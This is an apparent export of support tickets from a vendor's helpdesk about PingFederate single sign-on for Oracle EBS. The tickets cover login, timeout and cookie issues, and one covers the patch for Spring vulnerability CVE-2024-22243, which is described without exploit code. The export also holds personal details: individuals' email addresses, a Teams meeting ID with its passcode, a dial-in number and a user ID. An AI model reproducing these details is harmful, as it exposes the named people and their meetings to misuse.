SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets> portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Hi Activision DBA, The mail you received is regarding the support portal which is used for ticket creation only. Please activate it for Activision DBA. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1158> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, The support portal was showing that this mail id GRPATVIHQ-DBA@activision.com was not activated, So for that we have sent the activation link. Regret for the inconvenience caused and we are closing the ticket. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1158> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1159

SUBJECT : In EBS Language Preference is not working when SSO login issued

PROBLEM DESCRIPTION : In EBS application when user sets his language preference it is not working when user tries to login through SSO credentials. It works fine when SSO is not used and user logs in directly to EBS application. Please set up a call so that I could explain you the issue.

Thanks & Regards,

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, 1.What are the changes you made prior to this language preference issue? 2.Is this issue is happening for all the users or subset of users? 3.Could you please send us a screenshot of the error message. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please join at 6:30 PM IST Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 295 688 159 238 Passcode: HESzoi Download Teams | Join on the web Join with a video conferencing device teams@vc.bechtel.com Video Conference ID: 118 114 287 0 Alternate VTC instructions Or call in (audio only) +1 469-373-4740,,912812567# United States, Dallas Phone Conference ID: 912 812 567# Find a local



number | Reset PIN Learn More | Meeting options

Hi Anil Dutta, Ok, Noted. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1159>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta/Kuldeep, We are sharing the link to the Oracle documentation, which explains about:

Login      Page      Language      &      ICX:      Language      Profile      Options

[https://docs.oracle.com/cd/E18727\\_01/doc.121/e12893/T174297T174310.htm](https://docs.oracle.com/cd/E18727_01/doc.121/e12893/T174297T174310.htm)      Note:1      Language

code (Eg: Language code=English/German) is sent from the Oracle EBS application to the EIK kit

for SSO. Note:2 The default for Single Sign-On (SSO) SSO logins will fall back to browser language preferences, in order. The default for non-SSO logins will fall back to the base language if the first

language preference is not available. 1. Please share with us Network trace by setting your

Language preferences to German for specific user in user level profile Parameter in the EBS app as

you demonstrated (Kuldeep) in the last call. You can also setup another call if needed. ? Ticket URL

- <https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <--

This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Please find attached network trace file. Thanks & Regards, Kuldeep

Hi Anil Dutta, Thank you, We will have a look into it and get back to you. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Hi Anil Dutta/Kuldeep, Were you able to go through the Oracle Doc and get some insight into the Language preference issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, We have already gone through that and already shown it during our meeting. If you want we can again setup a meeting and show all the settings. Thanks & Regards, Kuldeep

Hi Anil Dutta, Yes please ,send us a meeting invite and lets discuss based on the Oracle documentation. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Could you please send us an update on this issue & we are waiting for your meeting invite to discuss this same. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

? Hi Anil Dutta/Kuldeep, ? Please give us an update on the Language Preference (German) Issue. We would also like to share the following information which you may have or may not have gone through. SSO for Oracle EBS add Locale German How to add locale as German in SSO for Oracle EBS in profile parameter settings To set the locale as German (de) in Single Sign-On (SSO) for Oracle E-Business Suite (EBS) through profile parameter settings, you typically need to configure the appropriate profile options within Oracle EBS. The specific steps may vary depending on the

version of Oracle EBS you're using, but here's a general guideline: (You will be doing this for the selected set of users by setting Language preferences at the user level) 1. Log in to Oracle EBS with appropriate administrative privileges. 2. Navigate to the System Administrator responsibility. 3. Navigate to the Profile > System menu. 4. Query for the profile option named "Applications Language" (Profile Option Code: "APPLSYS.LANGUAGE"). 5. Update the value of the "Applications Language" profile option to "German (Germany)" or "Deutsch (Deutschland)". 6. Save your changes. Please consult the Oracle EBS documentation specific to your version for detailed instructions on configuring profile options and integrating SSO with Oracle EBS. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We are closing this ticket and you could open the same if any assistance is required Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1159> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Issue still persist. Let me know if I can set up a call today or you want it tomorrow. Thanks & Regards, Kuldeep

Kindly open this ticket.

Kindly open this ticket.

TICKET DISPLAY ID : 1160

SUBJECT : Sample Ticket - Unable to login

PROBLEM DESCRIPTION : When trying to login to the application I get authentication exception error. Tried to clear browser but getting same error. URL: <https://www.mytestapp.com/login> Server Name: prd01appsvr Error:

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets> portal\_url: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Please provide an update.

Hi Prakash TA, Please be informed that the reported issue is resolved. Please verify and update the ticket status to CLOSED. Thanks. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1160> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1161

SUBJECT : EBS logout page throwing Error when Signing out of PingProd - EBS

PROBLEM DESCRIPTION : When we logout from EBS, getting below error: Error: Server Error The server encountered a temporary error and could not complete your request. Please try again in 30 seconds.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

When we logout it should go to landing page [apps.activision.com](https://apps.activision.com) .. instead it hand for few seconds on below screen and then throw error.

Same issue happening for prod and nonprod EBS instances

Hi Activision DBA, please send us a network trace. and meeting invitation ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1161> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Uploaded network trace. Looks like now the issue intermittent .. i will upload when i hit the issue .. soon

Hi Activision DBA, Thank you, we have made note of it. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1161> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

No issue reported for last few hours . Did you find any issues in logs?

Hi Activision DBA, Okay,we will let you know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1161> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, We didn't find any issues in logs. Please send us an update on the intermittent server error issue which you encountered yesterday. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1161> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, Please note that we are closing this ticket 1161, you could re open the same if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1161> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1162

SUBJECT : SSO Timeout issue in forms

PROBLEM DESCRIPTION : On Tue, Mar 19, 2024 at 10:00 AM Amarnath Rajendran <arajendran@adcouncil.ae> wrote When the ARMS session is timed out, the sessions which are opened as pop-up window(forms) also will get timed out. Currently the users are closing all the opened forms and authenticating ARMS again and opening the required forms. We would like to know if the main ARMS page is revalidated, can the opened forms get authenticated automatically.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0

seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Amarnath Rajendran, We will check and Let you know ASAP. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, Can you please send us meeting invite, need to get more information on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, As discussed in the call, the EBS Dev Forms session timeout is working as expected. We are not sure of differences in the EBS Application side for Dev and Production, However requested the Prod Trace file to see if there are any issues. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, Kindly provide us with an update on ticket 1162. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, Kindly, please note that we are closing this ticket 1162. You could re-open the same if necessary. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, ?We waited for your response and have opened the ticket.Can you please provide us an update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, As we discussed in the meeting on April 5th,the EBS Dev Forms session timeout is working as expected. We are not sure of differences between the Dev and Production environments on the EBS Application side.However, we have requested the Production trace file to see if there are any issues. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, Thank you for sending the network trace, We will have a look and get back to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, We are not able to capture any clear data from the network trace which you had sent, Request you to kindly send us two more NW traces & other. ?Request for: 1.NW trace from working environment (Full transaction: Login to Logout from EBS DEV forms session) 2.NW trace from the non working environment (Prod) 3.Screen shots of the error message 4.Latest EIK logfiles (Dev & Prod) 5.Are the EBS application versions the same on working & non-working environment (Dev & Prod) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162>  
Regards, EIK Support Team <-- This



message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, Sure, please send us a meeting invite at your convenient time tomorrow. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, Thank you for sending the requested files, We will check and get back to you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, Please make sure to clear the Browser Cache & cookies before obtaining the fiddler trace on the Prod env. Thank you for your cooperation. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, please provide us updated production environment full transaction NW trace, which will be much informative to us to identify if this is related to an application or sso. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Amarnath Rajendran, As discussed over the call, the log file is being held by some resources or

services which is preventing writing to the log . As a first step, we will try to restart the PingFederate service to see if the debug log file begins updating. After the SSO transaction, we can review the debug log file. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Dear Team, I can see the debug logs are being updated in the path 1. D:\Program Files\Ping Identity\pingfederate-11.3.2\pingfederate\EBSProd\log. But during our call last time you were checking under 2. D:\Program Files\Ping Identity\pingfederate-11.3.2\pingfederate\EBSAuth\log. Out of the two, I guess the first path is the place where we need to check is that rite? Why were we checking in a different path last time? 1. D:\Program Files\Ping Identity\pingfederate-11.3.2\pingfederate\EBSProd\log.

===== Hi Amaranath,  
Kindly send us the updated EIK logs which is in the path mentioned by you, (I can see the debug logs are being updated in the path 1. D:\Program Files\Ping Identity\pingfederate-11.3.2\pingfederate\EBSProd\log. ) We identified only one instance in the EBSAuth folder at the time of the call. Also please send us a full transaction Network trace from the Prod Env.

Hi Team, The issue again happened today, Zipped folder contains the logs from the user machine, I have cleared the cache, captured from login page , and left it for a while for the issue to occur. So you might see traffic for the entire duration. Issue happened around 2:10 to 2:15 PM UAE Time  
UserID: mysalim Attached the debug logs from the production ping in EIK Debug.zip.

Hi Amarnath Rajendran, As discussed in the call, we will be expecting for a Business user to do the testing on Tuesday. Thank you for your cooperation, Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1162> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Amarnath Rajendran Mon, Apr 29, 4:52 PM (8 days ago) I have scheduled a call tomorrow with the user at 9:30 AM UAE Time. Kindly be available for the same.

===== EIKsupport LMC <eiksupport@likemindsconsulting.com>

Mon, Apr 29, 4:55 PM (8 days ago) to Amarnath, me, Sri Hi Amarnath, Sure we will be available at that time. ===== Amarnath Rajendran May 6, 2024, 5:16 PM (1 day

ago) to saipravalika@likemindsconsulting.com, shivaram@likemindsconsulting.com, SathishKumar, Devanath, me, Sri Dear Team, After our last call, We agreed to test the behavior on dev environment with the business users. Please find the details below and kindly suggest the next steps. In Dev environment after the timeout, User received the below error message and they had to close the forms and re-open from the beginning. In Prod environment, below error was received, User clicks yes it opens a new tab in the existing browser where ARMS was already opened and closes abruptly and comes back to this page. This action goes in a loop.

===== EIKsupport LMC

<eiksupport@likemindsconsulting.com> May 6, 2024, 6:10 PM (1 day ago) to Sri, saipravalika@likemindsconsulting.com, shivaram@likemindsconsulting.com, SathishKumar,

Devanath, Amarnath, me Hi Amarnath, Thank you for the update.we will check and get back to you ASAP. ===== EIKsupport LMC <eiksupport@likemindsconsulting.com>

8:58 PM (54 minutes ago) to Amarnath, Sri, saipravalika@likemindsconsulting.com, shivaram@likemindsconsulting.com, SathishKumar, Devanath Hi Amarnath, Below find the responses for the Forms issue, 1. (Dev) This forms startup issue is in the EBS forms server and not related to Ping/EIK. 2. (Prod) It looks like the forms are trying to renew the session but are unable to get a new session from the browser. However, it doesn't happen automatically but works when done

manually. Moreover, the request is not reaching Ping after Session timeout and needs to be verified at the application scope. We will be on standby for any support from the Ping/EIK side.

=====

Hi Amarnath Rajendran, We are closing ticket 1162, please re open the same, if required, for any further queries. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1162>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1163

SUBJECT : Spring Framework Open Redirect Vulnerability - spring-web-5.3.21.jar

PROBLEM DESCRIPTION : Hello, we are seeing a Sev 4 open vulnerability in EIK. Pleaes advise on the fix. Vulnerability is mentioned below. Applications that use 'UriComponentsBuilder' to parse an externally provided URL (e.g. through a query parameter) AND perform validation checks on the host of the parsed URL may be vulnerable to a open redirect attack or to a SSRF attack if the URL is used after passing validation checks.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0

seen_articles:	enterprise_enabled:	false	referrer:
<a href="https://likemindsconsultinghelp.freshdesk.com/support/home">https://likemindsconsultinghelp.freshdesk.com/support/home</a>			portal_url:
<a href="https://likemindsconsultinghelp.freshdesk.com/support/tickets/new">https://likemindsconsultinghelp.freshdesk.com/support/tickets/new</a>			

Embedded in EBSAuth jar file /EBSAuth/WEB-INF/lib/spring-web-5.3.21.jar Mitigation

CVE-2024-22243: Spring Framework URL Parsing with Host Validation

Hello Carla, We will get back to you on this Vulnerability issue ASAP.

Hi Carla Chan, We will be sending you the patched version which will address the vulnerability issue early next week. ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1163>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Q.Thank you. Will this be a new jar file that we need to deploy? A. Yes new .war file to be deployed and other utilities if required. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1163>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, We will be providing you with the updated EIK binary within this week, Appreciate your kind cooperation, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1163>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, We are in the process of testing the updated war file, the testing is taking much time than expected. We will be providing you with the patched war file by early next week. Regret for the delay & Thank you once again for your patience. . Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1163>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello, any update on the testing?

Hi Carla Chan, We will get back to you asap on this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1163> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Kindly download the patched EIK ver 2.3.1.2 from the link provided bellow, which addresses CVE-2024-22243 vulnerability. <https://support.likemindsconsulting.com/en/support/solutions/articles/48001255724-eik-2-3-1-2-addressing-cve-2024-22243> We suggest that you test this binary before moving into the production environment. We will be waiting for an update on this ticket. Please feel free to contact us if you have any queries, Thank you for your cooperation. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1163> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Kindly give us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1163> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Kindly give us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1163> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Carla Chan 4:10 PM (10 minutes ago) to Terry, EBS\_Admin, me Hello, I'll get the patch tested this week in our DEV environment and update you. Thanks, Carla Chan  
===== EIKsupport LMC 4:15 PM (6 minutes ago) to Carla, EIKsupport, EBS\_Admin, Terry Thank you Carla, We are looking forward to your update.

Hi Carla Chan, Kindly download the release notes from the link provided bellow. Thank you for your cooperation.

<https://support.likemindsconsulting.com/en/support/solutions/articles/48001255211-eik-2-3-1-2-patch-release-notes-for-cve-2024-22243> Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1163> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Kindly give us an update on this Ticket. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1163> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, We will be closing this ticket, you could reopen the same if required. Kindly, contact us if you need any assistance. Thanks, Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1163> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1164

SUBJECT : Need help to Analyze patch EIK -2.3.1.2 Patch release for CVE-2024-22243

PROBLEM DESCRIPTION : Hi Support, We got a mail to apply patch EIK -2.3.1.2 Patch release for CVE-2024-22243 So we need your help to identify patch EIK -2.3.1.2 Patch release for CVE-2024-22243 is certified to apply in our environment. If the patch is good to apply , need help/document to apply the patch in nonprod environment. Regards, Francis T.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Activision DBA,(Francis) As mention in our release update, you can first test the provided war file in your test environment. Deployment Documentation remains the same as in your current EIK version. 1.Copy the provided war file to: /pingfederate/server/deploy 2.Restart the ping services 3.Follow step 1 & 2 if it?s in a clustered environment Should you have any queries, please fell free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1164> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA,(Francis) We will provide you with the release notes at the earliest. Thank you for you cooperation. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1164> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA (Francis) Kindly download the release notes from the link provided bellow. Thank you for your cooperation.

<https://support.likemindsconsulting.com/en/support/solutions/articles/48001255211-eik-2-3-1-2-patc>



h-release-notes-for-cve-2024-22243

Ticket

URL

-

<https://support.likemindsconsulting.com/helpdesk/tickets/1164> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

'Theruviparambil, Francis' via EIK Support Staff 10:35 PM (9 minutes ago) to GRP, LikeMinds Hi Support. Thanks for the release note! We will review and apply it in one of the nonprod environment next week and update. Please keep the ticket open. Regards, Francis T.

===== EIKsupport LMC 10:40 PM (4 minutes ago) to Francis, EIKsupport, GRP Hi Francis , Thank you for the update. The Ticket will be kept open as requested.

Hi Activision DBA, Kindly, let us know the progress in this ticket. If you need any assistance, please contact us. Thnaks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1164> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA,(Francis) We are closing ticket 1164, you could reopen the same if required. Please feel free to contact us if you need any assistance. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1164> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1165

SUBJECT : EIK\_STATE Cookie troubleshooting

PROBLEM DESCRIPTION : Hi Srikanth, Please find attached herewith is the updated patch (EIK

2.3.0.4) to address the "EIK STATE" cookie time customization. (Suggest that you test this before moving into the Prod env) Confirm receipt of the war file. Timer value can be set as follows: 1.Open the security.properties file /pingfederate/EBSAuth/security.properties 2.Add entry cookie.stateCookieExpiry= 30 save & restart the ping services.(follow steps 1 & 2 on each node if in a clustered environment ) cookie time is in minutes (eg 30 minutes as in this case) you can set as per your requirement. OIDC\_STATE\_MISMATCH\_ERROR has been changed as: OIDC\_STATE\_COOKIE\_EXPIRED

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2024-05-03 20:57:43 UTC

Hi Support Team, As discussed in meeting, FDA is having major production issue with the eik-state cookie timer set at 2min. Please send immediate fix to set cookie timer set as 30mins as this is impacting 30K+ users accessing FDA system. Also, request to make this value configurable for long term fix. Can you provide us the fix by EOD today 05/03/2024?. processOidcLogin this.cookieService.setCookieValue(response, "eik-state", state, 120, null, contextPath);

Hi Jasvir Chahil,(Srikanth) Can you kindly give us an update on this Ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1165> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, Srikanth Thanks for the update. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1165> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1166

SUBJECT : SSO Connectivity Test on EBS DAIPROD

PROBLEM DESCRIPTION : SSO connectivity Test on EBS DAIPROD

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2024-05-20 10:22:47 UTC

1. They were trying without jdbc:oracle:thin:@, which resulted in an invalid Oracle URL error. We suggested providing the correct JDBC URL syntax (jdbc:oracle:thin:@<EBSDomain name>:<EBS DB Port>:<SID>). 2. After that, they encountered a Java.io.FileNotFoundException: /EIK.dbcx (Permission denied) error. We suggested setting the EIK\_HOME path to resolve the directory issue. The DBCX file was generated successfully.

TICKET DISPLAY ID : 1167

SUBJECT : How to find out current version of Likemind and pingfed

PROBLEM DESCRIPTION : Hi Support, We wanted to know how to check the current version of like mind and PingFed. Please help. Regards, FT

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Activision DBA, EIK Version can be observed in the "eik-debug.log" as shown below. PingFederate version can be observed in Admin console by clicking the "About ", as shown below. Should you have any queries, please free to contact us. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1167> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

[ticket link above to view or manage your tickets.-->](#)

Hello Francis, We are afraid we do not have the logger implemented in the EIK ver 2.0 (depreated ver) we suggest that you upgrade to the EIK ver 2.3.1.2 ,as mentioned in our previous email. Please feel free to contact us if you have any questions ,on deploying ver 2.3.1.2

TICKET DISPLAY ID : 1168

SUBJECT : EBS SSO

PROBLEM DESCRIPTION : Unfortunately, something has gone wrong. We're unable to fulfill your request. Rest assured we have been notified and are looking into the issue. Try again later. Reason: A System error has occurred. Please contact system Admin Reference Code: EIK-LM-2003

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0  
seen\_articles: enterprise\_enabled: false referrer:  
<https://support.likemindsconsulting.com/support/home> portal\_url:  
<https://support.likemindsconsulting.com/support/tickets/new>

